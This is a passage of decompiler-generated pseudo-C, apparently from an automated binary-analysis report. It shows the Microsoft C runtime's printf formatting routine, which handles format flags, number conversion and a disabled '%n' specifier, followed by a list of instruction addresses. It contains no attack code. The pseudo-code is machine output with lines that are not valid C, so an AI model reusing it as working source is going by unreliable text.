																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																	}
																	goto L66;
																case 2:
																	L79:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																	__eflags =  *(__ebp - 0x10) & 0x00000830;
																	if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																	}
																	goto L81;
																case 3:
																	L138:
																	 *(__ebp - 0x260) = 7;
																	L139:
																	 *(__ebp - 8) = 0x10;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		 *(__ebp - 0x14) = 0x30;
																		 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																		__eflags =  *(__ebp - 0x260) + 0x51;
																		 *((char*)(__ebp - 0x13)) = __al;
																		 *(__ebp - 0x1c) = 2;
																	}
																	goto L144;
																case 4:
																	L72:
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x284) = E00428370(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x284);
																	if( *(__ebp - 0x284) == 0) {
																		L74:
																		__edx =  *0x440f80; // 0x404448
																		 *(__ebp - 4) = __edx;
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																		L78:
																		goto L181;
																	}
																	L73:
																	__ecx =  *(__ebp - 0x284);
																	__eflags =  *(__ecx + 4);
																	if( *(__ecx + 4) != 0) {
																		L75:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																		__eflags =  *(__ebp - 0x10) & 0x00000800;
																		if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																			 *(__ebp - 0xc) = 0;
																			__edx =  *(__ebp - 0x284);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x284);
																			__edx =  *__ecx;
																			 *(__ebp - 0x24) =  *__ecx;
																		} else {
																			__edx =  *(__ebp - 0x284);
																			__eax =  *(__edx + 4);
																			 *(__ebp - 4) =  *(__edx + 4);
																			__ecx =  *(__ebp - 0x284);
																			__eax =  *__ecx;
																			asm("cdq");
																			 *__ecx - __edx =  *__ecx - __edx >> 1;
																			 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																			 *(__ebp - 0xc) = 1;
																		}
																		goto L78;
																	}
																	goto L74;
																case 5:
																	L115:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	__eax = __ebp - 0x248;
																	 *(__ebp - 4) = __ebp - 0x248;
																	 *(__ebp - 0x44) = 0x200;
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) >= 0) {
																		L117:
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) != 0) {
																			L120:
																			__eflags =  *(__ebp - 0x30) - 0x200;
																			if( *(__ebp - 0x30) > 0x200) {
																				 *(__ebp - 0x30) = 0x200;
																			}
																			L122:
																			__eflags =  *(__ebp - 0x30) - 0xa3;
																			if( *(__ebp - 0x30) > 0xa3) {
																				 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																				 *(__ebp - 0x20) = L0041B8D0(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																				__eflags =  *(__ebp - 0x20);
																				if( *(__ebp - 0x20) == 0) {
																					 *(__ebp - 0x30) = 0xa3;
																				} else {
																					__eax =  *(__ebp - 0x20);
																					 *(__ebp - 4) =  *(__ebp - 0x20);
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																				}
																			}
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																			__eax =  *(__ebp + 0x14);
																			_t274 = __eax - 8; // 0xe852f855
																			__ecx =  *_t274;
																			_t275 = __eax - 4; // 0xbc20
																			__edx =  *_t275;
																			 *(__ebp - 0x2a0) =  *_t274;
																			 *(__ebp - 0x29c) =  *_t275;
																			__ecx = __ebp - 0x40;
																			_push(E0041AE60(__ebp - 0x40));
																			__eax =  *(__ebp - 0x2c);
																			_push( *(__ebp - 0x2c));
																			__ecx =  *(__ebp - 0x30);
																			_push( *(__ebp - 0x30));
																			__edx =  *((char*)(__ebp - 0x251));
																			_push( *((char*)(__ebp - 0x251)));
																			__eax =  *(__ebp - 0x44);
																			_push( *(__ebp - 0x44));
																			__ecx =  *(__ebp - 4);
																			_push( *(__ebp - 4));
																			__edx = __ebp - 0x2a0;
																			_push(__ebp - 0x2a0);
																			__eax =  *0x440374; // 0xf86dff92
																			__eax =  *__eax();
																			__esp = __esp + 0x1c;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AE60(__ebp - 0x40));
																					__edx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__eax =  *0x440380; // 0xa86dfc78
																					__eax =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																			if( *((char*)(__ebp - 0x251)) == 0x67) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																					__ecx = __ebp - 0x40;
																					_push(E0041AE60(__ebp - 0x40));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx =  *0x44037c; // 0x886dfc7f
																					E004246D0(__ecx) =  *__eax();
																					__esp = __esp + 8;
																				}
																			}
																			__edx =  *(__ebp - 4);
																			__eax =  *( *(__ebp - 4));
																			__eflags =  *( *(__ebp - 4)) - 0x2d;
																			if( *( *(__ebp - 4)) == 0x2d) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																				__edx =  *(__ebp - 4);
																				__edx =  *(__ebp - 4) + 1;
																				__eflags = __edx;
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																			do {
																				L181:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L207;
																				}
																				goto L182;
																			} while ( *(__ebp - 0x30c) > 0x37);
																			goto L63;
																		}
																		L118:
																		__ecx =  *((char*)(__ebp - 0x251));
																		__eflags = __ecx - 0x67;
																		if(__ecx != 0x67) {
																			goto L120;
																		}
																		L119:
																		 *(__ebp - 0x30) = 1;
																		goto L122;
																	}
																	L116:
																	 *(__ebp - 0x30) = 6;
																	goto L122;
																case 6:
																	L66:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		L70:
																		__ebp + 0x14 = E00428370(__ebp + 0x14);
																		 *(__ebp - 0x280) = __ax;
																		__cl =  *(__ebp - 0x280);
																		 *(__ebp - 0x248) = __cl;
																		 *(__ebp - 0x24) = 1;
																		L71:
																		__edx = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	}
																	L67:
																	 *(__ebp - 0x27c) = 0;
																	__edx = __ebp + 0x14;
																	__eax = E004283B0(__ebp + 0x14);
																	 *(__ebp - 0x258) = __ax;
																	__eax =  *(__ebp - 0x258) & 0x0000ffff;
																	__ecx = __ebp - 0x248;
																	__edx = __ebp - 0x24;
																	 *(__ebp - 0x27c) = E00434240(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																	__eflags =  *(__ebp - 0x27c);
																	if( *(__ebp - 0x27c) != 0) {
																		 *(__ebp - 0x28) = 1;
																	}
																	L69:
																	goto L71;
																case 7:
																	L135:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																	 *(__ebp - 8) = 0xa;
																	L144:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																	__eflags =  *(__ebp - 0x10) & 0x00008000;
																	if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																		__eflags =  *(__ebp - 0x10) & 0x00001000;
																		if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					__ecx = __ebp + 0x14;
																					__eax = E00428370(__ebp + 0x14);
																					__edx = 0;
																					__eflags = 0;
																					 *(__ebp - 0x2b0) = __eax;
																					 *(__ebp - 0x2ac) = 0;
																				} else {
																					__eax = __ebp + 0x14;
																					__eax = E00428370(__ebp + 0x14);
																					asm("cdq");
																					 *(__ebp - 0x2b0) = __eax;
																					 *(__ebp - 0x2ac) = __edx;
																				}
																			} else {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					__ecx = __ebp + 0x14;
																					E00428370(__ebp + 0x14) = __ax & 0x0000ffff;
																					asm("cdq");
																					 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																					 *(__ebp - 0x2ac) = __edx;
																				} else {
																					__eax = __ebp + 0x14;
																					__eax = E00428370(__ebp + 0x14);
																					__ax = __eax;
																					asm("cdq");
																					 *(__ebp - 0x2b0) = __eax;
																					 *(__ebp - 0x2ac) = __edx;
																				}
																			}
																		} else {
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428390(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																	} else {
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x2b0) = E00428390(__ebp + 0x14);
																		 *(__ebp - 0x2ac) = __edx;
																	}
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																	__eflags =  *(__ebp - 0x10) & 0x00000040;
																	if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																		goto L161;
																	}
																case 8:
																	L100:
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x294) = E00428370(__ebp + 0x14);
																	__eax = E00433F20();
																	__eflags = __eax;
																	if(__eax != 0) {
																		L110:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			__edx =  *(__ebp - 0x294);
																			__eax =  *(__ebp - 0x24c);
																			 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																		} else {
																			__eax =  *(__ebp - 0x294);
																			 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																		}
																		 *(__ebp - 0x28) = 1;
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	}
																	L101:
																	__edx = 0;
																	__eflags = 0;
																	if(0 == 0) {
																		 *(__ebp - 0x314) = 0;
																	} else {
																		 *(__ebp - 0x314) = 1;
																	}
																	__eax =  *(__ebp - 0x314);
																	 *(__ebp - 0x298) =  *(__ebp - 0x314);
																	__eflags =  *(__ebp - 0x298);
																	if( *(__ebp - 0x298) == 0) {
																		_push(L"(\"\'n\' format specifier disabled\", 0)");
																		_push(0);
																		_push(0x695);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		__eax = L0041E390();
																		__esp = __esp + 0x14;
																		__eflags = __eax - 1;
																		if(__eax == 1) {
																			asm("int3");
																		}
																	}
																	__eflags =  *(__ebp - 0x298);
																	if( *(__ebp - 0x298) != 0) {
																		L109:
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	} else {
																		L108:
																		 *((intOrPtr*)(L00422E80(__ecx))) = 0x16;
																		__eax = E00422C10(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																		 *(__ebp - 0x2e8) = 0xffffffff;
																		__ecx = __ebp - 0x40;
																		__eax = E0041AE30(__ecx);
																		__eax =  *(__ebp - 0x2e8);
																		L211:
																		return E0042BCD0(_t478, _t497,  *(_t524 - 0x48) ^ _t524, _t513, _t522, _t523);
																	}
																case 9:
																	L142:
																	 *(__ebp - 8) = 8;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																	__eflags =  *(__ebp - 0x10) & 0x00000080;
																	if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000200;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																	}
																	while(1) {
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00428370(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428370(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00428370(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2ac) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428370(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E00428390(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428390(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L161;
																		}
																		goto L157;
																	}
																case 0xa:
																	L137:
																	 *(__ebp - 0x30) = 8;
																	goto L138;
																case 0xb:
																	L81:
																	__eflags =  *(__ebp - 0x30) - 0xffffffff;
																	if( *(__ebp - 0x30) != 0xffffffff) {
																		__edx =  *(__ebp - 0x30);
																		 *(__ebp - 0x310) =  *(__ebp - 0x30);
																	} else {
																		 *(__ebp - 0x310) = 0x7fffffff;
																	}
																	__eax =  *(__ebp - 0x310);
																	 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 4) = E00428370(__ebp + 0x14);
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																	__eflags =  *(__ebp - 0x10) & 0x00000810;
																	if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																		L92:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__edx =  *0x440f80; // 0x404448
																			 *(__ebp - 4) = __edx;
																		}
																		__eax =  *(__ebp - 4);
																		 *(__ebp - 0x288) =  *(__ebp - 4);
																		while(1) {
																			L95:
																			__ecx =  *(__ebp - 0x28c);
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L96:
																			__eax =  *(__ebp - 0x288);
																			__ecx =  *( *(__ebp - 0x288));
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				break;
																			}
																			L97:
																			 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																			 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																		}
																		L98:
																		__eax =  *(__ebp - 0x288);
																		__eax =  *(__ebp - 0x288) -  *(__ebp - 4);
																		__eflags = __eax;
																		 *(__ebp - 0x24) = __eax;
																		goto L99;
																	} else {
																		L85:
																		__eflags =  *(__ebp - 4);
																		if( *(__ebp - 4) == 0) {
																			__eax =  *0x440f84; // 0x404438
																			 *(__ebp - 4) = __eax;
																		}
																		 *(__ebp - 0xc) = 1;
																		__ecx =  *(__ebp - 4);
																		 *(__ebp - 0x290) =  *(__ebp - 4);
																		while(1) {
																			L88:
																			__edx =  *(__ebp - 0x28c);
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																			__eflags =  *(__ebp - 0x28c);
																			if( *(__ebp - 0x28c) == 0) {
																				break;
																			}
																			L89:
																			__ecx =  *(__ebp - 0x290);
																			__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
																			__eflags =  *( *(__ebp - 0x290)) & 0x0000ffff;
																			if(( *( *(__ebp - 0x290)) & 0x0000ffff) == 0) {
																				break;
																			}
																			L90:
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																			 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																		}
																		L91:
																		 *(__ebp - 0x290) =  *(__ebp - 0x290) -  *(__ebp - 4);
																		__ecx =  *(__ebp - 0x290) -  *(__ebp - 4) >> 1;
																		 *(__ebp - 0x24) = __ecx;
																		L99:
																		while(1) {
																			L181:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L207;
																			}
																			goto L182;
																		}
																	}
																case 0xc:
																	L136:
																	 *(__ebp - 8) = 0xa;
																	while(1) {
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00428370(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428370(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00428370(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2ac) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428370(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b0) = __eax;
																						 *(__ebp - 0x2ac) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b0) = E00428390(__ebp + 0x14);
																				 *(__ebp - 0x2ac) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b0) = E00428390(__ebp + 0x14);
																			 *(__ebp - 0x2ac) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L161;
																		}
																		goto L157;
																	}
																case 0xd:
																	goto L0;
																case 0xe:
																	while(1) {
																		L181:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L207;
																		}
																		goto L182;
																	}
															}
														case 8:
															L21:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
															goto L24;
														case 9:
															L22:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
															goto L24;
														case 0xa:
															L20:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000001;
															 *(__ebp - 0x10) = __ecx;
															goto L24;
														case 0xb:
															L19:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
															goto L24;
														case 0xc:
															L23:
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) | 0x00000008;
															__eflags = __ecx;
															 *(__ebp - 0x10) = __ecx;
															goto L24;
														case 0xd:
															L24:
															goto L209;
													}
												}
												L210:
												 *(_t524 - 0x2ec) =  *(_t524 - 0x24c);
												E0041AE30(_t524 - 0x40);
												_t478 =  *(_t524 - 0x2ec);
												goto L211;
											}
										}
										L178:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L180:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L181;
										}
										L179:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L181;
										}
										goto L180;
									}
									L174:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x2b4);
									__edx =  *(__ebp - 0x2b8);
									__eax = E004307A0( *(__ebp - 0x2b8),  *(__ebp - 0x2b4),  *(__ebp - 8),  *(__ebp - 0x2b8));
									 *(__ebp - 0x2a4) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x2b4);
									__ecx =  *(__ebp - 0x2b8);
									 *(__ebp - 0x2b8) = E00430820( *(__ebp - 0x2b8),  *(__ebp - 0x2b4),  *(__ebp - 8), __edx);
									 *(__ebp - 0x2b4) = __edx;
									__eflags =  *(__ebp - 0x2a4) - 0x39;
									if( *(__ebp - 0x2a4) > 0x39) {
										__edx =  *(__ebp - 0x2a4);
										__edx =  *(__ebp - 0x2a4) +  *(__ebp - 0x260);
										__eflags = __edx;
										 *(__ebp - 0x2a4) = __edx;
									}
									__eax =  *(__ebp - 4);
									__cl =  *(__ebp - 0x2a4);
									 *( *(__ebp - 4)) = __cl;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L172:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L174;
									}
									goto L173;
								}
							}
							L159:
							__eflags =  *(__ebp - 0x2b0);
							if( *(__ebp - 0x2b0) >= 0) {
								goto L161;
							}
							goto L160;
							L161:
							__ecx =  *(__ebp - 0x2b0);
							 *(__ebp - 0x2b8) =  *(__ebp - 0x2b0);
							__edx =  *(__ebp - 0x2ac);
							 *(__ebp - 0x2b4) =  *(__ebp - 0x2ac);
							goto L162;
						}
					}
				}
			}

0x00427d58
0x00427d58
0x00427d58
0x00427d58
0x00427d62
0x00427d62
0x00427d62
0x00427d6c
0x00427d6c
0x00427d72
0x00427d74
0x00427d7e
0x00427d7e
0x00427d81
0x00427d84
0x00427d84
0x00427dab
0x00427dab
0x00427dae
0x00427dae
0x00427db3
0x00427dd5
0x00427dd5
0x00427ddb
0x00427dfd
0x00427dfd
0x00427e00
0x00427e47
0x00427e47
0x00427e4a
0x00427e67
0x00427e6b
0x00427e73
0x00427e73
0x00427e75
0x00427e7b
0x00427e4c
0x00427e4c
0x00427e50
0x00427e58
0x00427e59
0x00427e5f
0x00427e5f
0x00427e02
0x00427e05
0x00427e05
0x00427e08
0x00427e26
0x00427e32
0x00427e35
0x00427e36
0x00427e3c
0x00427e0a
0x00427e0a
0x00427e0e
0x00427e16
0x00427e17
0x00427e18
0x00427e1e
0x00427e1e
0x00427e42
0x00427ddd
0x00427ddd
0x00427de9
0x00427def
0x00427def
0x00427db5
0x00427db5
0x00427dc1
0x00427dc7
0x00427dc7
0x00427e84
0x00427e84
0x00427e87
0x00000000
0x00000000
0x00427e89
0x00427e89
0x00427e90
0x00000000
0x00000000
0x00427e92
0x00427e92
0x00427e9d
0x00427ea3
0x00427ea5
0x00427eab
0x00427eae
0x00427eb0
0x00427eb6
0x00427ebf
0x00427ec4
0x00427ee1
0x00427ee4
0x00427ee4
0x00427ee9
0x00427eee
0x00427eee
0x00427ef4
0x00427ef6
0x00427efc
0x00427f02
0x00427f02
0x00427f0b
0x00427f0b
0x00427ef4
0x00427f11
0x00427f15
0x00427f23
0x00427f26
0x00427f29
0x00427f30
0x00427f32
0x00427f32
0x00427f17
0x00427f17
0x00427f17
0x00427f3f
0x00427f3f
0x00427f45
0x00427f47
0x00427f47
0x00427f4e
0x00427f51
0x00427f54
0x00427f54
0x00427f54
0x00427f5a
0x00427f5d
0x00427f60
0x00427f62
0x00000000
0x00000000
0x00427f64
0x00427f6a
0x00427f6a
0x00427f70
0x00427fed
0x00427ff0
0x00427ff3
0x00427ff6
0x00427ff9
0x00427ffc
0x00428002
0x00428002
0x00428008
0x00428033
0x00428033
0x00428033
0x00428037
0x00000000
0x00000000
0x0042803d
0x00428040
0x00428040
0x00428043
0x00428048
0x00428048
0x0042804d
0x0042805f
0x0042805f
0x00428062
0x00428074
0x00428074
0x00428077
0x00428079
0x0042807d
0x0042807d
0x00428064
0x00428064
0x00428068
0x00428068
0x0042804f
0x0042804f
0x00428053
0x00428053
0x0042804d
0x00428087
0x0042808a
0x0042808d
0x00428096
0x00428096
0x00428099
0x0042809b
0x004280a2
0x004280a6
0x004280af
0x004280b4
0x004280b7
0x004280be
0x004280c2
0x004280c6
0x004280d2
0x004280d5
0x004280d5
0x004280d8
0x004280dd
0x004280dd
0x004280e0
0x004280e2
0x004280e9
0x004280ed
0x004280f6
0x004280fb
0x004280e0
0x004280fe
0x00428102
0x004281d6
0x004281d6
0x004281dd
0x004281e1
0x004281e5
0x004281e9
0x00000000
